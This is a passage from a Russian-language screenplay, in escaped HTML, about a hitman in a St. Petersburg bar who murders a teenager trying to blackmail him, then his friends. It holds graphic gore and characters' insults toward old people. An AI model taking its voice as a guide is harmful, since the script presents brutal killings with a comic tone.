  &lt;p id=&quot;RB2i&quot;&gt;             Ненавижу блин дедов.&lt;/p&gt;
  &lt;p id=&quot;84sW&quot;&gt;             Все старичье ваще  — или алкаши или педофилы.&lt;/p&gt;
  &lt;p id=&quot;EFHZ&quot;&gt;             Когда уже только передохнут.             &lt;/p&gt;
  &lt;p id=&quot;LJUp&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;wlpw&quot;&gt;(поддакивая)&lt;/p&gt;
  &lt;p id=&quot;fBnL&quot;&gt;             Моя бабка когда сдохла, квартиру оставила матери, прикиньте. &lt;/p&gt;
  &lt;p id=&quot;U3IB&quot;&gt;             Не мне.&lt;/p&gt;
  &lt;p id=&quot;e6Md&quot;&gt;             А я типа сам должен заработать.&lt;/p&gt;
  &lt;p id=&quot;i91l&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;7DGI&quot;&gt;             Во-во!&lt;/p&gt;
  &lt;p id=&quot;b2vx&quot;&gt;             Чисто дедовская тема!&lt;/p&gt;
  &lt;p id=&quot;VqpS&quot;&gt;             В их-то молодость ипотеки не было.&lt;/p&gt;
  &lt;p id=&quot;f55S&quot;&gt;             И все поучают. &lt;/p&gt;
  &lt;p id=&quot;nEIE&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;bCzd&quot;&gt;(мерзко хихикая)&lt;/p&gt;
  &lt;p id=&quot;KGbI&quot;&gt;             Хе-хе а твоя Алинка-то деду понравилась!&lt;/p&gt;
  &lt;p id=&quot;oA1X&quot;&gt;             Он на нее так долго пырил.&lt;/p&gt;
  &lt;p id=&quot;ZZhd&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;laEv&quot;&gt;             Молчи псина сутулая!             &lt;/p&gt;
  &lt;p id=&quot;bRi2&quot;&gt;Тут Макс срывает кепку с Пети и кидает ее в сторону столика «ветеранов». Под общий смех и улюлюкание, Петя встает из-за стола и идет ее забирать.&lt;/p&gt;
  &lt;p id=&quot;mthx&quot;&gt;Присев, он поднимает ее с пола, оттряхивает и тут замечает автомат под столом за которым сидит Михаил.&lt;/p&gt;
  &lt;p id=&quot;Gddd&quot;&gt;Удивляется, но не подает виду Михаилу и медленно отходит.&lt;/p&gt;
  &lt;p id=&quot;TZ9F&quot;&gt;Возвращается к столику с молодежью, еще раз смотрит в сторону Михаила — решает что делать.&lt;/p&gt;
  &lt;p id=&quot;4qwu&quot; data-align=&quot;center&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;qPUV&quot;&gt;15. НАТ.  ВХОД В БАР. &lt;/h2&gt;
  &lt;p id=&quot;sQjK&quot;&gt;Внутренний дворик перед кабаком «Дух девяностых».&lt;/p&gt;
  &lt;p id=&quot;FNt2&quot;&gt;Артур в задумчивости достает пачку сигарет, закуривает. Достает телефон-раскладушку, набирает номер и делает вызов.&lt;/p&gt;
  &lt;p id=&quot;vjWC&quot;&gt;С другой стороны отвечает очень старый и тяжело больной мужчина, сидящий в инвалидном кресле-каталке.&lt;/p&gt;
  &lt;p id=&quot;PeQL&quot;&gt;Кресло-каталка стоит на террасе загородного коттеджа, вид на реку, съемка со спины и лица не видно.&lt;/p&gt;
  &lt;p id=&quot;TFpz&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;VQbU&quot;&gt;(говорит по телефону)&lt;/p&gt;
  &lt;p id=&quot;sLMx&quot;&gt;             День добрый, Арсений Павлович. &lt;/p&gt;
  &lt;p id=&quot;IKeG&quot;&gt;             Встретился с нашей сбежавшей звездой коммерции.&lt;/p&gt;
  &lt;p id=&quot;z8ry&quot;&gt;             Да, он самый.&lt;/p&gt;
  &lt;p id=&quot;xajq&quot;&gt;             Вам все верно доложили, действительно он. &lt;/p&gt;
  &lt;p id=&quot;EsoM&quot;&gt;             Сам приехал. Нет, никто за хвост не тащил.&lt;/p&gt;
  &lt;p id=&quot;PzOx&quot;&gt;             Живой и здоровый.&lt;/p&gt;
  &lt;p id=&quot;KPaQ&quot;&gt;(пауза)&lt;/p&gt;
  &lt;p id=&quot;3e8R&quot;&gt;             Пока целый.&lt;/p&gt;
  &lt;p id=&quot;D9Of&quot;&gt;             Предложил следующее.&lt;/p&gt;
  &lt;p id=&quot;ew9w&quot;&gt;(сцена переключается на пенсионера в кресле-каталке, сам текст предложения мы не слышим)&lt;/p&gt;
  &lt;p id=&quot;KiCQ&quot;&gt;             Некоторое время шеф внимательно слушает, не перебивая. &lt;/p&gt;
  &lt;p id=&quot;RkcD&quot;&gt;             Наконец Артур заканчивает говорить.&lt;/p&gt;
  &lt;p id=&quot;cgEt&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;hgcc&quot;&gt;(задумчиво)&lt;/p&gt;
  &lt;p id=&quot;ix6m&quot;&gt;             Может и правда все изменилось. &lt;/p&gt;
  &lt;p id=&quot;HKi6&quot;&gt;             Столько лет прошло.&lt;/p&gt;
  &lt;p id=&quot;xdRk&quot;&gt;             У него теперь жена и дети малые.&lt;/p&gt;
  &lt;p id=&quot;6fYd&quot;&gt;             Совсем другая жизнь.&lt;/p&gt;
  &lt;p id=&quot;VeEW&quot; data-align=&quot;center&quot;&gt;ШЕФ&lt;/p&gt;
  &lt;p id=&quot;16q9&quot;&gt;(с сильным грузинским акцентом, становится понятно что &amp;quot;Арсений Павлович&amp;quot; не настоящее имя)             &lt;/p&gt;
  &lt;p id=&quot;n5PZ&quot;&gt;             Ты помнишь Петровича, Артур?&lt;/p&gt;
  &lt;p id=&quot;rZ5e&quot;&gt;             У него тоже была жена и дети. &lt;/p&gt;
  &lt;p id=&quot;aLdK&quot;&gt;             Их тебе не было жалко.&lt;/p&gt;
  &lt;p id=&quot;72TR&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;ynb1&quot;&gt;             То было другое время, Арсений Павлович.&lt;/p&gt;
  &lt;p id=&quot;VR2C&quot;&gt;              Мы все были моложе.           &lt;/p&gt;
  &lt;p id=&quot;kDX4&quot;&gt;(задумчиво)&lt;/p&gt;
  &lt;p id=&quot;swJo&quot;&gt;             Возможно Михаил прав, все же дети это наше будущее.&lt;/p&gt;
  &lt;p id=&quot;8LEK&quot;&gt;             Единственное ради чего еще стоит жить..&lt;/p&gt;
  &lt;p id=&quot;Yawu&quot; data-align=&quot;center&quot;&gt;ШЕФ&lt;/p&gt;
  &lt;p id=&quot;hSQ6&quot;&gt;             Мы с тобой очень давно знакомы, Артур.&lt;/p&gt;
  &lt;p id=&quot;qUP0&quot;&gt;             И Мишу ты тоже знаешь не первый день.&lt;/p&gt;
  &lt;p id=&quot;z9HL&quot;&gt;             Работал когда-то с ним. &lt;/p&gt;
  &lt;p id=&quot;yhsh&quot;&gt;             Дэла делал.&lt;/p&gt;
  &lt;p id=&quot;TmES&quot;&gt;             Я не стану тебе приказывать.&lt;/p&gt;
  &lt;p id=&quot;mdX3&quot;&gt;             Ты уже взрослый, Артур. &lt;/p&gt;
  &lt;p id=&quot;skqH&quot;&gt;             Прими это решение сам.&lt;/p&gt;
  &lt;p id=&quot;OMu8&quot;&gt;(шеф завершает звонок)&lt;/p&gt;
  &lt;p id=&quot;D0nN&quot;&gt;Артур складывает и убирает телефон.&lt;/p&gt;
  &lt;p id=&quot;uNH4&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;8ZXt&quot;&gt;(задумчиво)&lt;/p&gt;
  &lt;p id=&quot;Pytn&quot;&gt;              Дети — цветы жизни..&lt;/p&gt;
  &lt;p id=&quot;htq7&quot;&gt;              Кормишь их, заботишься.&lt;/p&gt;
  &lt;p id=&quot;4sg9&quot;&gt;              А потом они вырастают.  &lt;/p&gt;
  &lt;p id=&quot;3nHY&quot;&gt;Все это время, пока шел диалог с шефом, на заднем плане Петя медленно и нерешительно подходил к Артуру.&lt;/p&gt;
  &lt;h2 id=&quot;B0Zl&quot;&gt;16. НАТ. ВХОД В БАР&lt;/h2&gt;
  &lt;p id=&quot;zIjC&quot;&gt;Петр поднимается вверх по ступенькам бара, выходит наружу. Озирается и замечает Артура с сигаретой.&lt;/p&gt;
  &lt;p id=&quot;0hP7&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;29Na&quot;&gt;             Дядь, угостите сигаретой?&lt;/p&gt;
  &lt;p id=&quot;FrQL&quot;&gt;Артур поворачивает голову и смотрит на Петра бессмысленным взглядом какое-то время. Затем понимает наконец чего от него хотят. &lt;/p&gt;
  &lt;p id=&quot;YOfC&quot;&gt;Протягивает пачку.&lt;/p&gt;
  &lt;p id=&quot;4zU5&quot;&gt;Петр вытягивает две папиросы, одну кладет за ухо, вторую — просит прикурить у Артура.&lt;/p&gt;
  &lt;p id=&quot;ZjPW&quot;&gt;Артур дает зажигалку. &lt;/p&gt;
  &lt;p id=&quot;K3YL&quot;&gt;Тот затягивается.&lt;/p&gt;
  &lt;p id=&quot;yELh&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;mDAU&quot;&gt;             Дядь а вы киллер, да?&lt;/p&gt;
  &lt;p id=&quot;H8yw&quot;&gt;             Видел ствол под тем столом, внизу.&lt;/p&gt;
  &lt;p id=&quot;f1ha&quot;&gt;             Тот тип в дорогом костюме — ваш клиент? Это его вам надо завалить?&lt;/p&gt;
  &lt;p id=&quot;0bsf&quot;&gt;Артур смотрит с интересом, но ничего не говорит. &lt;/p&gt;
  &lt;p id=&quot;x6Cj&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;1Oiw&quot;&gt;             А вы крутой.&lt;/p&gt;
  &lt;p id=&quot;Lvkf&quot;&gt;             И наверное богатый. &lt;/p&gt;
  &lt;p id=&quot;aybl&quot;&gt;             За такое хорошо платят, я в кино видел. &lt;/p&gt;
  &lt;p id=&quot;ZsyN&quot;&gt;             Дядь, а давайте вы мне миллион долларов, а я типа такой — ничего не видел, ничего не знаю. &lt;/p&gt;
  &lt;p id=&quot;vSC1&quot;&gt;             Мусорам так и скажу.&lt;/p&gt;
  &lt;p id=&quot;LxqH&quot;&gt;             Они же тупые все. &lt;/p&gt;
  &lt;p id=&quot;RqZ8&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;E1gR&quot;&gt;             Тебя как зовут, отрок?&lt;/p&gt;
  &lt;p id=&quot;Stqb&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;f57V&quot;&gt;             Петей.&lt;/p&gt;
  &lt;p id=&quot;8FaV&quot;&gt;             Назвали в честь Петра Первого. &lt;/p&gt;
  &lt;p id=&quot;fXhl&quot;&gt;             Жил такой крутой мужик когда-то давно. Примерно как вы.&lt;/p&gt;
  &lt;p id=&quot;g43K&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;4XhH&quot;&gt;             Петя значит. &lt;/p&gt;
  &lt;p id=&quot;8Doy&quot;&gt;             А папа у тебя есть, Петя? &lt;/p&gt;
  &lt;p id=&quot;vHeu&quot;&gt;             Чем папа занимается?&lt;/p&gt;
  &lt;p id=&quot;h2MS&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;Pxyz&quot;&gt;             Пердит в диван, бухает да в телек пялит.&lt;/p&gt;
  &lt;p id=&quot;MLwH&quot;&gt;             На пенсии он. &lt;/p&gt;
  &lt;p id=&quot;OeD0&quot;&gt;             Охранником работал, когда-то давно.&lt;/p&gt;
  &lt;p id=&quot;9QLZ&quot;&gt;             Мы из бедноты.&lt;/p&gt;
  &lt;p id=&quot;iOD5&quot;&gt;             Деньги очень нужны, дядь. &lt;/p&gt;
  &lt;p id=&quot;rgCb&quot;&gt;             Хочу подняться в жизни.&lt;/p&gt;
  &lt;p id=&quot;XCjt&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;iTMp&quot;&gt;             И что же ты будешь делать с миллионом?&lt;/p&gt;
  &lt;p id=&quot;kjDA&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;OLli&quot;&gt;             Тачку крутую куплю. &lt;/p&gt;
  &lt;p id=&quot;qYIZ&quot;&gt;             И хату.&lt;/p&gt;
  &lt;p id=&quot;rIjX&quot;&gt;             В Москва-Сити.&lt;/p&gt;
  &lt;p id=&quot;6GmT&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;gBg6&quot;&gt;             Боюсь одного миллиона не хватит. &lt;/p&gt;
  &lt;p id=&quot;aRVS&quot;&gt;             Там слишком дорого.&lt;/p&gt;
  &lt;p id=&quot;K56v&quot;&gt;             Даже для таких успешных.&lt;/p&gt;
  &lt;p id=&quot;8MnE&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;yZEC&quot;&gt;             Ну тогда арендую, епта.&lt;/p&gt;
  &lt;p id=&quot;Ysl1&quot;&gt;(тут Петя пытается руками визуализировать желаемый миллион)&lt;/p&gt;
  &lt;p id=&quot;tDrd&quot;&gt;             Деньги липнут к деньгам, успех — к успеху. &lt;/p&gt;
  &lt;p id=&quot;DQ6j&quot;&gt;             Надо как это..  &lt;/p&gt;
  &lt;p id=&quot;c30X&quot;&gt;(произносит с трудом, практически по слогам)&lt;/p&gt;
  &lt;p id=&quot;r3Uo&quot;&gt;             Ви-зу-ализовать. Во! &lt;/p&gt;
  &lt;p id=&quot;6jxL&quot;&gt;             Представлять картинку.&lt;/p&gt;
  &lt;p id=&quot;uSNL&quot;&gt;             Раз лям, два лям.. &lt;/p&gt;
  &lt;p id=&quot;I7U2&quot;&gt;             Поцаны в интернете научили.&lt;/p&gt;
  &lt;p id=&quot;4G8X&quot;&gt;             Понял идею, дядя?&lt;/p&gt;
  &lt;p id=&quot;WzSD&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;GNTn&quot;&gt;(удивившись с такой борзоты)&lt;/p&gt;
  &lt;p id=&quot;eAFs&quot;&gt;             А мы уже на ты? &lt;/p&gt;
  &lt;p id=&quot;dZGu&quot;&gt;             Не стоит хамить благодетелю.&lt;/p&gt;
  &lt;p id=&quot;38bb&quot;&gt;             Совет на будущее.&lt;/p&gt;
  &lt;p id=&quot;M7Z8&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;J6qI&quot;&gt;             А я тебя типа уже шантажирую, дядя. &lt;/p&gt;
  &lt;p id=&quot;eFqa&quot;&gt;             Но походу одного ляма мало.&lt;/p&gt;
  &lt;p id=&quot;qHAc&quot;&gt;             Чето ты не впечатлился.&lt;/p&gt;
  &lt;p id=&quot;CLKe&quot;&gt;             Давай-ка десять.&lt;/p&gt;
  &lt;p id=&quot;k6Vc&quot;&gt;             Типа инфляция. &lt;/p&gt;
  &lt;p id=&quot;26it&quot;&gt;             Повышаем расценки.&lt;/p&gt;
  &lt;p id=&quot;SAkp&quot;&gt;Артур докуривает сигарету, бросает окурок на землю и тушит ботинком.&lt;/p&gt;
  &lt;p id=&quot;3Byh&quot; data-align=&quot;center&quot;&gt;АРТУР &lt;/p&gt;
  &lt;p id=&quot;LJ7m&quot;&gt;             Ну десять так десять. &lt;/p&gt;
  &lt;p id=&quot;LkQM&quot;&gt;             Иди за мной.&lt;/p&gt;
  &lt;p id=&quot;5Yfj&quot;&gt;Тут Артур поворачивается к Петру спиной и начинает спокойно двигаться в сторону ближайшего мусорного контейнера. &lt;/p&gt;
  &lt;p id=&quot;lCMI&quot;&gt;Нападения сзади от такого клоуна он точно не ждет и какой-либо угрозой Петра не считает. &lt;/p&gt;
  &lt;p id=&quot;QKOr&quot;&gt;Петр не врубается что происходит, но на автопилоте начинает семенить следом.&lt;/p&gt;
  &lt;p id=&quot;TTFp&quot; data-align=&quot;center&quot;&gt;ПЕТР&lt;/p&gt;
  &lt;p id=&quot;IouI&quot;&gt;             Эээ.. куда? Стоп! &lt;/p&gt;
  &lt;p id=&quot;N0hh&quot;&gt;             Але!&lt;/p&gt;
  &lt;p id=&quot;C841&quot;&gt;             Мы так не договаривались!&lt;/p&gt;
  &lt;p id=&quot;gxJp&quot;&gt;             Куда мы вообще идем?&lt;/p&gt;
  &lt;p id=&quot;st6g&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;fAyR&quot;&gt;             За миллионом. &lt;/p&gt;
  &lt;p id=&quot;F6T1&quot;&gt;             Как ты хотел.&lt;/p&gt;
  &lt;p id=&quot;mZmz&quot;&gt;             Остальные девять чуть попозже занесу.&lt;/p&gt;
  &lt;p id=&quot;awmY&quot;&gt;Подходят к мусорному контейнеру. &lt;/p&gt;
  &lt;p id=&quot;LUQD&quot;&gt;Поскольку дело происходит в культурной столице, помойка имеет неповторимый флер недобитой интеллигенции: рядом с мусоркой выставлены бутылки из-под дорогого шампанского и вина, а из соседнего бака торчит свадебная фата.&lt;/p&gt;
  &lt;p id=&quot;pp0f&quot;&gt;Артур невозмутимо приоткрывает крышку и указывает внутрь.&lt;/p&gt;
  &lt;p id=&quot;iQTP&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;rdtD&quot;&gt;             Там внутри тебя ждет миллион. &lt;/p&gt;
  &lt;p id=&quot;eU1O&quot;&gt;             Поздравляю с первым жизненным достижением.&lt;/p&gt;
  &lt;p id=&quot;x8dG&quot;&gt;(услужливо)&lt;/p&gt;
  &lt;p id=&quot;14OM&quot;&gt;             Подсадить?&lt;/p&gt;
  &lt;p id=&quot;BV5h&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;2Y2t&quot;&gt;17. ИНТ. БАР. СТОЛИК МОЛОДЕЖИ&lt;/h2&gt;
  &lt;p id=&quot;SrfG&quot;&gt;Компания продолжает веселиться, но наконец замечает отсутствие Петра, которого нет уже довольно давно.&lt;/p&gt;
  &lt;p id=&quot;pCUZ&quot; data-align=&quot;center&quot;&gt;ЛИЗА&lt;/p&gt;
  &lt;p id=&quot;t60n&quot;&gt;             Ребят, а где Петя? &lt;/p&gt;
  &lt;p id=&quot;y7Ym&quot;&gt;             Что-то давно его нет.&lt;/p&gt;
  &lt;p id=&quot;45EW&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;s3t1&quot;&gt;             Ну блиин.. Начинается..&lt;/p&gt;
  &lt;p id=&quot;l98n&quot;&gt;             С этим дебилом всегда одни проблемы.&lt;/p&gt;
  &lt;p id=&quot;W0Hb&quot;&gt;             Последний раз его с собой берем.&lt;/p&gt;
  &lt;p id=&quot;V5nS&quot;&gt;             Стопудово опять втихую набухался и валяется где-нибудь в канаве.&lt;/p&gt;
  &lt;p id=&quot;qJC5&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;X2iS&quot;&gt;(обращаясь к Павлу и толкнув его в плечо)&lt;/p&gt;
  &lt;p id=&quot;wdQL&quot;&gt;             Пошли!&lt;/p&gt;
  &lt;p id=&quot;D9Lp&quot;&gt;             Один я этого утырка не потащу.&lt;/p&gt;
  &lt;p id=&quot;1EBY&quot;&gt;             Салфеток возьми, блевоту счищать.&lt;/p&gt;
  &lt;p id=&quot;EEyZ&quot;&gt;Ребята поднимаются из-за столика и быстро идут к выходу из бара.&lt;/p&gt;
  &lt;p id=&quot;Zuhz&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;d7f6&quot;&gt;18. НАТ. ПОДВОРОТНЯ ПЕРЕД ВХОДОМ В БАР&lt;/h2&gt;
  &lt;p id=&quot;ogFi&quot;&gt;Макс с Павлом стоят у выхода из бара и с ужасом наблюдают как Артур запихивает останки Петра в мусорный бак.&lt;/p&gt;
  &lt;p id=&quot;0HnN&quot;&gt;Реагируют, но.. в стиле современной молодежи.&lt;/p&gt;
  &lt;p id=&quot;3GwK&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;6G4N&quot;&gt;(обращаясь к Павлу)&lt;/p&gt;
  &lt;p id=&quot;xxA5&quot;&gt;             Доставай телефон и врубай камеру! &lt;/p&gt;
  &lt;p id=&quot;aX0T&quot;&gt;             Ща будет ШОК-КОНТЕНТ!&lt;/p&gt;
  &lt;p id=&quot;9x7h&quot;&gt;Дальше идет запись с камеры телефона Павла.&lt;/p&gt;
  &lt;p id=&quot;ddQS&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;nfgf&quot;&gt;             Слыш дед!  Эй!&lt;/p&gt;
  &lt;p id=&quot;2Ljt&quot;&gt;             Ты че творишь ваще?!&lt;/p&gt;
  &lt;p id=&quot;3gMk&quot;&gt;             Таблеток недоел? Или у вас в Питере все такие?&lt;/p&gt;
  &lt;p id=&quot;g4F2&quot;&gt;             К тебе обращаюсь.&lt;/p&gt;
  &lt;p id=&quot;z0TU&quot;&gt;Артур невозмутимо закрывает крышку мусорного контейнера, отряхивается и наконец поворачивается к новым гостям.&lt;/p&gt;
  &lt;p id=&quot;6Ot0&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;BxXg&quot;&gt;(кивая на мусорный бак)&lt;/p&gt;
  &lt;p id=&quot;scZz&quot;&gt;             Просто помогаю вашему другу обрести желаемое. &lt;/p&gt;
  &lt;p id=&quot;zmLf&quot;&gt;             Успокойтесь и не надо так орать.&lt;/p&gt;
  &lt;p id=&quot;bpzg&quot;&gt;             Это неприлично.&lt;/p&gt;
  &lt;p id=&quot;kn4q&quot;&gt;(окидывает ребят оценивающим взглядом)&lt;/p&gt;
  &lt;p id=&quot;cRjH&quot;&gt;             А.. так вы туристы. &lt;/p&gt;
  &lt;p id=&quot;hlDI&quot;&gt;             В Эрмитаже уже были?&lt;/p&gt;
  &lt;p id=&quot;QXA2&quot;&gt;             Могу проводить, тут недалеко.&lt;/p&gt;
  &lt;p id=&quot;p4PG&quot;&gt;Артур пытается приблизиться, раскинув руки в примирительном жесте. Молодые придурки отскакивают назад.&lt;/p&gt;
  &lt;p id=&quot;SejX&quot; data-align=&quot;center&quot;&gt;ПАВЕЛ&lt;/p&gt;
  &lt;p id=&quot;M4Ng&quot;&gt;             Не приближайся! Мы все записываем!&lt;/p&gt;
  &lt;p id=&quot;wbX5&quot; data-align=&quot;center&quot;&gt;МАКС&lt;/p&gt;
  &lt;p id=&quot;3Uv9&quot;&gt;             Понэл!&lt;/p&gt;
  &lt;p id=&quot;aWiO&quot;&gt;(встает в подобие боксерской стойки, начинает подрыгивать на месте)&lt;/p&gt;
  &lt;p id=&quot;rHh1&quot;&gt;             Ща втащу!&lt;/p&gt;
  &lt;p id=&quot;5Kly&quot;&gt;             И че ты сделаешь, дед?&lt;/p&gt;
  &lt;p id=&quot;pdep&quot;&gt;Тут происходит переход статичного кадра с мерзкой рожи охамевшего малолетнего полудурка на его же разбитое и окровавленное лицо, с забитым в глотку телефоном. &lt;/p&gt;
  &lt;p id=&quot;f3yT&quot;&gt;Примерно как это было в одной из серий &amp;quot;Игры престолов&amp;quot;.&lt;/p&gt;
  &lt;p id=&quot;TZOk&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;awRN&quot;&gt;19. ИНТ. БАР. СТОЛИК МИХАИЛА.&lt;/h2&gt;
  &lt;p id=&quot;WTwi&quot;&gt;Михаил наслаждается кофе, явно приготовленным с бОльшими усилиями для дорогого гостя.&lt;/p&gt;
  &lt;p id=&quot;r4zL&quot;&gt;Подносит чашку ко рту, отпивает жмурясь от наслаждения — как в рекламе «Нескафе».&lt;/p&gt;
  &lt;p id=&quot;TG9J&quot;&gt;В это время камера перемещается вверх к маленькому, залитому светом окну, где на асфальт падает залитый кровью и обезумевший от боли и ужаса Павел.&lt;/p&gt;
  &lt;p id=&quot;OoKk&quot;&gt;Затем его кто-то ловит за ноги и начинает медленно тащить из кадра.&lt;/p&gt;
  &lt;p id=&quot;Eg1n&quot;&gt;Павел пытается сопротивляться и царапает асфальт сбивая пальцы в кровь, но все тщетно.&lt;/p&gt;
  &lt;p id=&quot;AU8D&quot;&gt;Его утаскивают.&lt;/p&gt;
  &lt;p id=&quot;pBNd&quot;&gt;Камера возвращается вниз, где Михаил продолжает наслаждаться своим кофе и отличным вечером. &lt;/p&gt;
  &lt;p id=&quot;yvXt&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;3s40&quot;&gt;20. НАТ. ПОДВОРОТНЯ ПЕРЕД ВХОДОМ В БАР&lt;/h2&gt;
  &lt;p id=&quot;dxez&quot;&gt;Камера показывает асфальт во дворе и медленно двигается по кровавым следам. &lt;/p&gt;
  &lt;p id=&quot;cuaE&quot;&gt;Место действия — Питер, лето, поэтому асфальт разрисован посланиями в любви, детскими считалками и рекламой наркошопов.&lt;/p&gt;
  &lt;p id=&quot;I4lI&quot;&gt;Наконец мы видим медленно ползущего Павла, с переломанными ногами и вспоротым брюхом.&lt;/p&gt;
  &lt;p id=&quot;MD9v&quot;&gt;Павел умирает, изо рта уже отхаркивается кровь, но он продолжает упорно ползти к выходу из подворотни — к залитой светом улице, на которой кипит жизнь и ходят люди.&lt;/p&gt;
  &lt;p id=&quot;bDPB&quot;&gt;Но доползти не успевает, поскольку Артур хватает его за ногу и тащит назад, во тьму.&lt;/p&gt;
  &lt;p id=&quot;pNcp&quot;&gt;Переворачивает Павла, присаживается рядом и осматривает, пытаясь оценить состояние. Понимает, что тот не жилец.&lt;/p&gt;
  &lt;p id=&quot;q46C&quot;&gt;Павел тянет руку, которую Артур перехватывает и приблизив лицо к умирающему, ждет последние слова.&lt;/p&gt;
  &lt;p id=&quot;NAc3&quot;&gt;Павел пытается что-то сказать, хрипит, изо рта льется кровь..&lt;/p&gt;
  &lt;p id=&quot;cnRT&quot; data-align=&quot;center&quot;&gt;ПАВЕЛ&lt;/p&gt;
  &lt;p id=&quot;kMhi&quot;&gt;(неразборчиво, тыкая пальцем куда-то в небо)&lt;/p&gt;
  &lt;p id=&quot;aYMc&quot;&gt;             К..к..камера.. Камера.. на..блю..дения..&lt;/p&gt;
  &lt;p id=&quot;yHQ9&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;6aEX&quot;&gt;             Что? &lt;/p&gt;
  &lt;p id=&quot;YW3L&quot;&gt;              Аа.. ты про камеры?&lt;/p&gt;
  &lt;p id=&quot;l8Td&quot;&gt;Оборачивается и смотрит в то место, куда указывает умирающий Павел.&lt;/p&gt;
  &lt;p id=&quot;Kovk&quot;&gt;Высоко на столбе действительно висит камера наблюдения. И смотрит прямо на происходящее непотребство.&lt;/p&gt;
  &lt;p id=&quot;w6WG&quot;&gt;Павел с хрипом пытается рассмеяться.&lt;/p&gt;
  &lt;p id=&quot;lxOe&quot; data-align=&quot;center&quot;&gt;ПАВЕЛ&lt;/p&gt;
  &lt;p id=&quot;dMnN&quot;&gt;(внезапно вспомнив свои украинские корни)&lt;/p&gt;
  &lt;p id=&quot;coZq&quot;&gt;             Все.. дiдько.. Тобi пiзда..&lt;/p&gt;
  &lt;p id=&quot;RxKI&quot; data-align=&quot;center&quot;&gt;АРТУР&lt;/p&gt;
  &lt;p id=&quot;v1xd&quot;&gt;             Не стоит конечно портить последнее впечатление туриста о нашем замечательном городе. &lt;/p&gt;
  &lt;p id=&quot;c5Oh&quot;&gt;             Но есть нюанс.&lt;/p&gt;
  &lt;p id=&quot;s4Te&quot;&gt;(отчески)&lt;/p&gt;
  &lt;p id=&quot;F50h&quot;&gt;             Видишь ли, мой юный друг.. &lt;/p&gt;
  &lt;p id=&quot;j2Dn&quot;&gt;             Камеры-то в городе конечно есть. &lt;/p&gt;
  &lt;p id=&quot;FFTG&quot;&gt;             И даже работают.&lt;/p&gt;
  &lt;p id=&quot;4Eji&quot;&gt;             Но вот хранилища под записи с камер. &lt;/p&gt;
  &lt;p id=&quot;dBBY&quot;&gt;             Их нет.&lt;/p&gt;
  &lt;p id=&quot;iG1C&quot;&gt;             Ну.. потому что это был другой контракт, да. &lt;/p&gt;
  &lt;p id=&quot;9E83&quot;&gt;(кивает головой в огорчении)&lt;/p&gt;
  &lt;p id=&quot;feJl&quot;&gt;             Такое бывает. &lt;/p&gt;
  &lt;p id=&quot;5odS&quot;&gt;             Не успели закупить.&lt;/p&gt;
  &lt;p id=&quot;fMmw&quot;&gt;(пауза)&lt;/p&gt;
  &lt;p id=&quot;F1I2&quot;&gt;             Поэтому твою преждевременную кончину увидят конечно многие. &lt;/p&gt;
  &lt;p id=&quot;vd4w&quot;&gt;             Но запомню только я один.&lt;/p&gt;
  &lt;p id=&quot;mBLq&quot;&gt;             Могу последние слова твоей маме потом передать.&lt;/p&gt;
  &lt;p id=&quot;b7vT&quot;&gt;(с умилением)&lt;/p&gt;
  &lt;p id=&quot;oaNg&quot;&gt;             Она у такого-то пирожочка наверняка красивая.&lt;/p&gt;
  &lt;h2 id=&quot;hT7N&quot;&gt;21. ИНТ. СТОЛИК МОЛОДЕЖИ&lt;/h2&gt;
  &lt;p id=&quot;SPWy&quot;&gt;За столиком остались лишь дамы — Лиза с Алиной. Дамы начинают нервничать, поскольку парней нет и довольно давно.&lt;/p&gt;
  &lt;p id=&quot;C9v9&quot;&gt;Мерзкий бармен уже косится на бесхозных, захмелевших дам и вот-вот начнет подкатывать.&lt;/p&gt;
